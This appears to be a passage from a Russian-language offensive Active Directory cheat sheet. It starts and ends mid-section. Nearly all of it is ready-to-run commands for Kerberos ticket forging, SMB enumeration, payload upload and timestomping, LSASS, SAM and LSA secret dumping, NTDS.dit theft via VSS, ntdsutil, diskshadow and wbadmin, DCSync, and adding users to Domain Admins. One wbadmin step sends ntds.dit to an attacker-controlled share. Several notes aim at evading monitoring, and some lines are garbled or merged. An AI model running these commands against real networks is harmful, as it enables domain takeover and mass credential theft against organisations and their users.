export KRB5CCNAME=Administrator.ccache
wmiexec -k -no-pass DOMAIN/[email protected] "whoami"
ticketer -nthash <service_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL -spn cifs/fileserver.domain.local Administrator
export KRB5CCNAME=Administrator.ccache
smbclient -k -no-pass DOMAIN/[email protected]
[↑ Назад к оглавлению](#index)
---
## 3. SMB / Файловые операции
### Список общих ресурсов```bash
# impacket
smbclient.py -shares DOMAIN/jdoe:[email protected]
# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --shares
# smbclient
smbclient -L //192.168.1.10 -U 'DOMAIN\jdoe%Password123'
# aiosmb — password
asmbshareenum "smb+ntlm-password://DOMAIN\jdoe:[email protected]"
# aiosmb — pass-the-hash
asmbshareenum "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"
# aiosmb — Kerberos ccache
asmbshareenum "smb+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10/?dc=192.168.1.1&ccache=jdoe.ccache"
# Titanis
Smb2Client enumshares \\192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
# gopacket — password
smbclient -shares DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
smbclient -shares -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
smbclient.py DOMAIN/jdoe:[email protected]
smbclient-ng -u jdoe -p Password123 --domain DOMAIN --host 192.168.1.10
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"
asmbclient "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"
Smb2Client ls \192.168.1.10\Share -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client ls \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123
smbclient DOMAIN/jdoe:[email protected]
smbclient -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
[↑ Назад к оглавлению](#index)
---
### Загрузка файла```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> get Windows\System32\drivers\etc\hosts hosts.txt
# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
-c 'get Windows\System32\drivers\etc\hosts hosts.txt'
# aiosmb — password (full path embedded in URL after the host)
asmbgetfile "smb+ntlm-password://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
-o hosts.txt
# aiosmb — pass-the-hash
asmbgetfile "smb+ntlm-nt://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
-o hosts.txt
# Titanis
Smb2Client get \\192.168.1.10\C$\Windows\System32\drivers\etc\hosts hosts.txt \
-UserName jdoe -UserDomain DOMAIN -Password Password123
Для заблокированных или защищённых файлов (NTDS.dit, куст SYSTEM и т. д.).```bash
Smb2Client get \192.168.1.10\C$\Windows\NTDS\ntds.dit ntds.dit
-UserName jdoe -UserDomain DOMAIN -Password Password123 -UseBackupSemantics
[↑ Назад к индексу](#index)
---
### Загрузить файл```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> put payload.exe Windows\Temp\payload.exe
# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
-c 'put payload.exe Windows\Temp\payload.exe'
# Titanis
Smb2Client put payload.exe \\192.168.1.10\C$\Windows\Temp\payload.exe \
-UserName jdoe -UserDomain DOMAIN -Password Password123
smbclient.py DOMAIN/jdoe:[email protected]
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'mkdir Windows\Temp\newdir' smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'rmdir Windows\Temp\newdir' smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'del Windows\Temp\file.txt'
Smb2Client mkdir \192.168.1.10\C$\Windows\Temp\newdir -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client rmdir \192.168.1.10\C$\Windows\Temp\newdir -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client rm \192.168.1.10\C$\Windows\Temp\file.txt -UserName jdoe -UserDomain DOMAIN -Password Password123
[↑ Назад к оглавлению](#index)
---
### Список именованных каналов```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> cd \pipe\
# smb: \pipe\> ls
# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --pipe
# Titanis
Smb2Client ls \\192.168.1.10\IPC$ -UserName jdoe -UserDomain DOMAIN -Password Password123
smbclient.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
asmbclient "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"
Smb2Client ls \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN
-NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
[↑ Назад к оглавлению](#index)
---
### SMB через SOCKS5```bash
# impacket
proxychains smbclient.py DOMAIN/jdoe:[email protected]
# aiosmb — SOCKS5 (native, no proxychains needed)
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxyhost=127.0.0.1&proxyport=1080"
# aiosmb — SOCKS4
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080"
# Titanis
Smb2Client ls \\192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123 \
-Socks5 127.0.0.1:1080
netexec smb 192.168.1.10 -u jdoe -p Password123 --sessions netexec smb 192.168.1.10 -u jdoe -p Password123 --loggedon-users
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"
Smb2Client enumopenfiles \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client enumsessions \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
netview DOMAIN/jdoe:[email protected]
netview -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
[↑ Назад к индексу](#index)
---
### Удалённое изменение временных меток файлов```bash
# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
touch --time "2022-01-01 00:00:00" C$/Windows/Temp/payload.exe
# Titanis
Smb2Client touch \\192.168.1.10\C$\Windows\Temp\payload.exe \
-UserName jdoe -UserDomain DOMAIN -Password Password123 -LastWriteTimestamp "2022-01-01 00:00:00"
smbclient.py DOMAIN/jdoe:[email protected]
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN snapshots C$
Smb2Client enumsnapshots \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123
> **Доступ к путям моментальных снимков @GMT:** `@GMT-...` — это не реальный каталог: Windows SRV.SYS перехватывает токен в пути SMB2 CREATE и перенаправляет запрос к моментальному снимку VSS. Инструменты, которые обходят путь по компонентам (включая `Smb2Client get`), получат `STATUS_OBJECT_PATH_NOT_FOUND`. Используйте smbclient.py или родной smbclient, которые отправляют полный путь в одном запросе CREATE:
>
> ```bash
> # impacket smbclient.py — enumerate then pull via snapshot path
> smbclient.py DOMAIN/jdoe:[email protected]
> # smb: \> use c$
> # smb: \c$\> list_snapshots
> # @GMT-2026.03.15-22.24.19
> # smb: \c$\> get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit
>
> # native smbclient (Samba)
> smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
> -c 'get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit'
> ```
[↑ К оглавлению](#index)
---
### Перечисление альтернативных потоков данных NTFS (ADS)```bash
# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
-c 'allinfo Windows\Temp\file.txt'
# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
streams C$/Windows/Temp/file.txt
# Titanis
Smb2Client enumstreams \\192.168.1.10\C$\Windows\Temp\file.txt \
-UserName jdoe -UserDomain DOMAIN -Password Password123
netexec smb 192.168.1.10 -u jdoe -p Password123 --interfaces
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN nics
Smb2Client enumnics \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
[↑ Назад к индексу](#index)
---
### Массовое перечисление общих ресурсов```bash
# NetExec
netexec smb 192.168.1.0/24 -u jdoe -p Password123 --shares
# aiosmb — async subnet scanner (faster than looping)
# syntax: asmbscanner [global_opts] {file|brute|list} <url> <ip/cidr>
# results written to TSV files in output dir (-o dir, default: current dir)
asmbscanner -w 5 --no-progress file \
"smb+ntlm-password://DOMAIN\jdoe:Password123@" 192.168.1.0/24
# aiosmb — pass-the-hash
asmbscanner -w 5 --no-progress file \
"smb+ntlm-nt://DOMAIN\jdoe:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5@" 192.168.1.0/24
# Titanis
while IFS= read -r host; do
echo "=== $host ==="
smb2 enumshares "\\\\${host}" -UserName jdoe -UserDomain DOMAIN \
-Password Password123 2>/dev/null
done < hosts.txt
pypykatz lsa minidump lsass.DMP
pypykatz lsa minidump lsass.DMP -o lsass_creds.json --json
pypykatz lsa minidump lsass.DMP -k /tmp/kerberos_tickets/
pypykatz lsa minidump lsass.DMP -o dpapi_keys.json
pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"
netexec smb 192.168.1.10 -u jdoe -p Password123 -M lsassy
[↑ К оглавлению](#index)
---
### Дамп SAM-хэшей```bash
# impacket
secretsdump.py -sam DOMAIN/jdoe:[email protected]
# Metasploit
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
smbuser=jdoe smbpass=Password123 action=SAM
# Metasploit — pass-the-hash
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
action=SAM
# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam
# pypykatz — remote SAM dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --sam
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --sam
# Titanis — requires -BackupSemantics even as domain admin; without it → ACCESS_DENIED
Reg dumpsam 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
# Titanis — backup operator (no admin required, -BackupSemantics still required)
Reg dumpsam 192.168.1.10 -UserName backupuser -UserDomain DOMAIN \
-Password Password123 -BackupSemantics
secretsdump.py -lsa DOMAIN/jdoe:[email protected]
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN
smbuser=jdoe smbpass=Password123 action=LSA
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN
smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
action=LSA
netexec smb 192.168.1.10 -u jdoe -p Password123 --lsa
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --lsa pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --lsa
Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
[↑ Назад к индексу](#index)
---
### Дамп SAM + LSA вместе```bash
# impacket
secretsdump.py DOMAIN/jdoe:[email protected]
# Metasploit — ALL action (SAM + LSA + cached creds)
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
smbuser=jdoe smbpass=Password123 action=ALL
# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam --lsa
# pypykatz — remote registry dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10?ccache=jdoe.ccache"
# pypykatz — remote LSASS dump + parse via SMB
pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"
# pypykatz — combined (SAM + LSA + LSASS in one call)
pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
# Titanis — requires -BackupSemantics for both; without it → ACCESS_DENIED
Reg dumpsam 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
# gopacket — SAM + LSA + DCSync (password)
secretsdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
secretsdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
netexec smb 192.168.1.0/24 -u jdoe -p Password123 --sam --lsa
netexec smb 192.168.1.0/24 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --sam --lsa
while IFS= read -r host; do
echo "=== $host ===" >> pypykatz_dump.txt
pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:Password123@${host}"
>> pypykatz_dump.txt 2>&1
done < hosts.txt
while IFS= read -r host; do echo "=== $host ===" | tee -a sam_dump.txt reg dumpsam "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics >> sam_dump.txt 2>&1 reg dumplsasecrets "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics >> lsa_dump.txt 2>&1 done < hosts.txt
[↑ Back to Index](#index)
---
### Дамп NTDS через VSS Snapshot
> Запрашивает теневую копию VSS на DC и читает NTDS.dit + куст SYSTEM непосредственно из снимка. Не использует репликацию — полезно, когда DCSync заблокирован или отслеживается.
> **⚠️ Ограничение `-use-vss`:** `-use-vss` от secretsdump использует smbexec внутренне для запуска vssadmin и сбора вывода. Создание службы smbexec требует уровня аутентификации SVCCTL `PacketPrivacy`, который secretsdump не согласует — создание службы молча завершается сбоем, и выходной файл никогда не записывается. Вместо этого используйте `-use-remoteSSWMI -use-remoteSSWMI-NTDS`, что полностью обходит SVCCTL.```bash
# impacket — VSS method (default exec via smbexec)
# ⚠️ Fails if SVCCTL requires PacketPrivacy; use -use-remoteSSWMI-NTDS instead
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss
# impacket — VSS with explicit exec method
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
-exec-method wmiexec
# impacket — VSS pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
DOMAIN/[email protected] -use-vss
# impacket — VSS with output file + useful display flags
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
-outputfile ntds_dump -user-status -pwd-last-set
# impacket — WMI shadow snapshot (preferred VSS method; no SVCCTL / smbexec required)
# Creates VSS copy via Win32_ShadowCopy WMI class, downloads SAM/SYSTEM/SECURITY locally
secretsdump.py DOMAIN/Administrator:[email protected] -use-remoteSSWMI
# impacket — WMI shadow snapshot including NTDS.dit (DC-specific)
# -use-remoteSSWMI-NTDS must be used together with -use-remoteSSWMI
secretsdump.py DOMAIN/Administrator:[email protected] \
-use-remoteSSWMI -use-remoteSSWMI-NTDS
# impacket — WMI shadow pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
DOMAIN/[email protected] -use-remoteSSWMI -use-remoteSSWMI-NTDS
# NetExec — VSS method
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss
# NetExec — VSS pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds vss
# NetExec — VSS, enabled accounts only
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss --enabled
# Titanis — enumerate existing snapshots
Smb2Client enumsnapshots \\192.168.1.1\C$ -UserName Administrator -UserDomain DOMAIN -Password Password123
# Retrieve files from snapshot — use token from enumsnapshots or vssadmin output
smbclient.py DOMAIN/Administrator:[email protected]
# list_snapshots C$
# get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit
# get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM
# native smbclient (Samba)
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
-c 'get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit'
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
-c 'get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM'
# Parse offline
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
Использует
ntdsutil ifmдля создания набора Install-From-Media на контроллере домена — легитимная операция AD, которая создаёт копию NTDS.dit. В некоторых средах она менее заметна, чем VSS, поскольку ntdsutil — встроенный инструмент администрирования AD.
⚠️ Ограничение выполнения через WMI: ntdsutil требует
SeBackupPrivilegeи полную элевацию токена в выполняющемся процессе. Процессы, запущенные через WMI, не получают полностью повышенный токен даже для администратора домена — ntdsutil возвращаетAccess is deniedнезависимо от учётных данных. Если выполнение через WMI не срабатывает, используйтеsecretsdump -use-remoteSSWMI -use-remoteSSWMI-NTDSили LOLBin diskshadow. Модуль NetExec-M ntdsutilможет сработать через используемый по умолчанию метод выполнения на некоторых целевых системах.```bash
wmiexec.py DOMAIN/Administrator:[email protected]
"ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q"
smbclient.py DOMAIN/Administrator:[email protected]
netexec smb 192.168.1.1 -u Administrator -p Password123 -M ntdsutil
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -M ntdsutil
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"C:\Windows\System32\ntdsutil.exe "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q"
Smb2Client get "\192.168.1.1\C$\Windows\Temp\ifm\Active Directory\ntds.dit" ntds.dit
-UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client get "\192.168.1.1\C$\Windows\Temp\ifm\registry\SYSTEM" SYSTEM
-UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client rmdir "\192.168.1.1\C$\Windows\Temp\ifm"
-UserName Administrator -UserDomain DOMAIN -Password Password123
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
[↑ Назад к индексу](#index)
---
### Дамп NTDS через wbadmin (Windows Server Backup)
> `wbadmin` — это встроенный Windows LOLBin, который внутренне использует VSS для резервного копирования файлов в сетевую папку — без локального промежуточного хранения и без артефактов выполнения кода, кроме самой задачи резервного копирования. Работает для Backup Operators (DA не требуется). Требуется возможность записи в сетевую папку с контроллера домена.
> **⚠️ Требуется компонент Windows `WindowsServerBackup`.** Двоичный файл wbadmin присутствует как заглушка, даже если компонент не установлен — он зависнет или молча завершится сбоем. Перед попыткой убедитесь, что компонент активен: `Get-WindowsFeature WindowsServerBackup` (PowerShell) или `DISM /online /Get-FeatureInfo /FeatureName:WindowsServerBackup`. Если `InstallState` не равен `Installed`, этот метод не сработает.```bash
# Check feature state (run via WMI exec before proceeding)
wmiexec.py DOMAIN/Administrator:[email protected] \
"powershell -c \"(Get-WindowsFeature WindowsServerBackup).InstallState\""
# Step 1 — trigger backup of NTDS.dit from DC to an attacker-controlled share
# (run via wmiexec / scm / any exec method)
wmiexec.py DOMAIN/Administrator:[email protected] \
"wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"
# Titanis — exec via WMI
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123 \
"wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"
# Step 2 — list backup versions to get the version identifier
wmiexec.py DOMAIN/Administrator:[email protected] "wbadmin get versions"
# Step 3 — recover the NTDS.dit from the backup
wmiexec.py DOMAIN/Administrator:[email protected] \
"wbadmin start recovery -version:<VERSION> -items:C:\\Windows\\NTDS\\ntds.dit \
-itemType:File -recoveryTarget:C:\\Windows\\Temp\\ -notRestoreAcl -quiet"
# Step 4 — also need SYSTEM hive
wmiexec.py DOMAIN/Administrator:[email protected] \
"reg save HKLM\\SYSTEM C:\\Windows\\Temp\\SYSTEM"
# Step 5 — retrieve both files and parse offline
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit \
-UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM \
-UserName Administrator -UserDomain DOMAIN -Password Password123
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
diskshadow.exe— это встроенный Windows LOLBin, который взаимодействует с VSS напрямую. Полезен, когдаvssadminзаблокирован или отслеживается — diskshadow реже попадает под подозрение. Backup Operators могут использовать его без полного DA. Требует загрузки файла скрипта на DC.
⚠️ Файл скрипта должен иметь окончания строк CRLF. diskshadow.exe отклоняет скрипты только с LF. Выполните
unix2dos shadow.dshперед загрузкой или создайте файл с помощьюprintf, явно используя\r\n.
⚠️ Примечание о перенаправлении в Titanis
Wmi exec: Не включайте>в аргумент командыWmi exec— Titanis обрабатывает>особым образом, и создание процесса завершается ошибкойERROR_FILE_NOT_FOUND. Если вам нужно захватить вывод, создайте.batфайл с перенаправлением и загрузите его отдельно, затем выполните этот bat-файл.```bash
cat > shadow.dsh << 'EOF' set context persistent nowriters set metadata C:\Windows\Temp\meta.cab add volume C: alias trophy create expose %trophy% Z: EOF unix2dos shadow.dsh # ← required; diskshadow rejects LF-only scripts
smbclient.py DOMAIN/Administrator:[email protected]
Smb2Client put shadow.dsh "\192.168.1.1\C$\Windows\Temp\shadow.dsh"
-UserName Administrator -UserDomain DOMAIN -Password Password123
wmiexec.py DOMAIN/Administrator:[email protected]
"diskshadow.exe /s C:\Windows\Temp\shadow.dsh"
wmiexec.py DOMAIN/Administrator:[email protected]
"cmd.exe /c copy Z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit"
wmiexec.py DOMAIN/Administrator:[email protected]
"cmd.exe /c copy Z:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM"
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"diskshadow.exe /s C:\Windows\Temp\shadow.dsh"
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"cmd.exe /c copy Z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit"
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"cmd.exe /c copy Z:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM"
smbclient.py DOMAIN/Administrator:[email protected]
Smb2Client get "\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit
-UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client get "\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM
-UserName Administrator -UserDomain DOMAIN -Password Password123
wmiexec.py DOMAIN/Administrator:[email protected]
"diskshadow.exe /s - delete shadows volume trophy"
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
gosecretsdump -ntds ntds.dit -system SYSTEM # faster alternative for large NTDS files
[↑ Назад к индексу](#index)
---
### NTDS-дамп через Kerb-Key-List (RODC)
> Извлекает ключи AES Kerberos для всех учётных записей домена через протокол репликации ключей RODC. Требуется AES-ключ или NT-хеш учётной записи `krbtgt` RODC (`krbtgt_XXXXX`). Не использует DRSUAPI или VSS — полезно в средах, где DCSync заблокирован. Восстанавливает только ключи Kerberos, а не NTLM-хеши напрямую (хотя NTLM можно получить из ключей RC4).```bash
# impacket — using RODC krbtgt AES key
secretsdump.py DOMAIN/Administrator:[email protected] \
-use-keylist -rodcNo <RODC_number> \
-rodcKey <rodc_krbtgt_aes256_hex>
# impacket — pass-the-hash to authenticate, then key-list
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
DOMAIN/[email protected] \
-use-keylist -rodcNo <RODC_number> \
-rodcKey <rodc_krbtgt_aes256_hex>
Имея похищенные ntds.dit и SYSTEM-куст (из VSS, IFM, резервной копии или извлечения с семантикой резервного копирования), извлеките все хэши локально, больше не обращаясь к DC.```bash
gosecretsdump -ntds ntds.dit -system SYSTEM gosecretsdump -ntds ntds.dit -system SYSTEM -enabled # enabled accounts only gosecretsdump -ntds ntds.dit -system SYSTEM -history # include password history gosecretsdump -ntds ntds.dit -system SYSTEM -out hashes.txt
[↑ Назад к индексу](#index)
---
### DCSync```bash
# pypykatz — full domain dump
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"
# pypykatz — single user (less noisy)
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]" \
--username krbtgt
# pypykatz — pass-the-hash
pypykatz smb dcsync \
"smb2+ntlm-nt://DOMAIN\Administrator:[email protected]"
# Metasploit — full domain dump
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
smbuser=Administrator smbpass=Password123 action=DOMAIN
# Metasploit — restrict to specific users
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
smbuser=Administrator smbpass=Password123 action=DOMAIN krb_users=krbtgt
# impacket — full NTLM dump
secretsdump.py DOMAIN/Administrator:[email protected] -just-dc-ntlm
# impacket — pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
DOMAIN/[email protected] -just-dc-ntlm
# impacket — single account
secretsdump.py DOMAIN/Administrator:[email protected] \
-just-dc-user DOMAIN/krbtgt
# NetExec
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds --user krbtgt
# NetExec — pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds
# gopacket — DCSync full NTLM dump
secretsdump -just-dc-ntlm DOMAIN/Administrator:[email protected]
# gopacket — DCSync pass-the-hash
secretsdump -just-dc-ntlm -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — DCSync single user
secretsdump -just-dc-user DOMAIN/krbtgt DOMAIN/Administrator:[email protected]
# Titanis — all objects, all credential fields
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
-EncryptRpc \
-OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
-OutputStyle List
# Titanis — single user
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
-EncryptRpc \
-OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
-OutputStyle List krbtgt
# Titanis — pass-the-hash
Dsrep rep -UserName Administrator -UserDomain DOMAIN \
-NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 dc01.domain.local \
-EncryptRpc \
-OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
-OutputStyle List
# Titanis — Kerberos (use DC hostname; -Kdc obtains TGT inline)
Dsrep rep -UserName Administrator -UserDomain DOMAIN -Password 'Password123' \
-Kdc 192.168.1.1 dc01.domain.local \
-EncryptRpc \
-OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
-OutputStyle List
# Titanis — enumerate DCs first
Dsrep dcinfo -UserName Administrator@DOMAIN -Password 'Password123' 192.168.1.1
samrdump.py DOMAIN/jdoe:[email protected] net.py DOMAIN/jdoe:[email protected] user
enum4linux-ng -U 192.168.1.10 -u jdoe -p Password123
netexec smb 192.168.1.10 -u jdoe -p Password123 --users
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomusers"
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
Sam enumusers 192.168.1.10 -UserName jdoe -Password Password123
samrdump DOMAIN/jdoe:[email protected]
samrdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
[↑ Назад к индексу](#index)
---
### Перечисление групп / локальные псевдонимы```bash
# impacket — enumerate domain groups
net.py DOMAIN/jdoe:[email protected] group
# impacket — enumerate local aliases (BUILTIN groups) on a host
net.py DOMAIN/jdoe:[email protected] localgroup
# impacket — add/remove a user from a domain group
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser
# impacket — add/remove from a local alias (e.g. local Administrators)
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -join newuser
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -unjoin newuser
# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --groups --local-groups
# rpcclient
